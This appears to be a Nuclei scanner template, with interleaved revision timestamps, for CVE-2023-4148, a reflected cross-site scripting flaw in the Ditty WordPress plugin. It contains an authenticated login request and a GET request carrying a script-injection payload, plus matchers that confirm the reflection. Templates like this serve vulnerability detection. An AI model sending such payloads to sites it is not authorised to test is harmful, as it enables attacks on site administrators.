2023-10-17 07:20:28 +00:00
id : CVE-2023-4148
2023-10-17 17:52:26 +00:00
2023-10-17 07:20:28 +00:00
info :
name : Ditty < 3.1.25 - Cross-Site Scripting
author : r3Y3r53
severity : medium
description : |
The Ditty WordPress plugin before 3.1.25 does not sanitise and escape some parameters and generated URLs before outputting them back in attributes, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
remediation : Fixed in version 3.1.25
reference :
- https://wpscan.com/vulnerability/aa39de78-55b3-4237-84db-6fdf6820c58d
- https://nvd.nist.gov/vuln/detail/CVE-2023-4148
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2023-4148
2023-10-17 17:52:26 +00:00
cwe-id : CWE-79
2023-10-18 16:26:30 +00:00
epss-score : 0.00071
2023-11-03 10:59:12 +00:00
epss-percentile : 0.29762
2023-10-17 07:20:28 +00:00
cpe : cpe:2.3:a:metaphorcreations:ditty:*:*:*:*:*:wordpress:*:*
metadata :
verified : true
2023-10-17 17:52:26 +00:00
max-request : 2
vendor : metaphorcreations
product : ditty
framework : wordpress
publicwww-query : /wp-content/plugins/ditty-news-ticker/
2023-10-17 07:20:28 +00:00
tags : cve,cve2023,ditty-news-ticker,wordpress,wp-plugin,wpscan,wp,authenticated
http :
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/edit.php?post_type=ditty&page=ditty_export&tab=export_ditty&"><script>alert(/XSS/)</script> HTTP/1.1
Host : {{Hostname}}
cookie-reuse : true
matchers :
- type : dsl
dsl :
- 'status_code_2 == 200'
- 'contains(body_2, "<script>alert(/XSS/)</script>") && contains(body_2, "ditty")'
- 'contains(content_type_2, "text/html")'
condition : and
2023-11-03 15:16:28 +00:00
# digest: 4a0a0047304502202ad56b2cc32ba9dfa9ac0932e1887722f3b3d9ffc027bac21571ac4ed0bc4a52022100b8b7f68a41beec1c85e4a36607d3542433d53be44c39654a3e4090ad66d66f5f:922c64590222798bb761d5b6d8e72950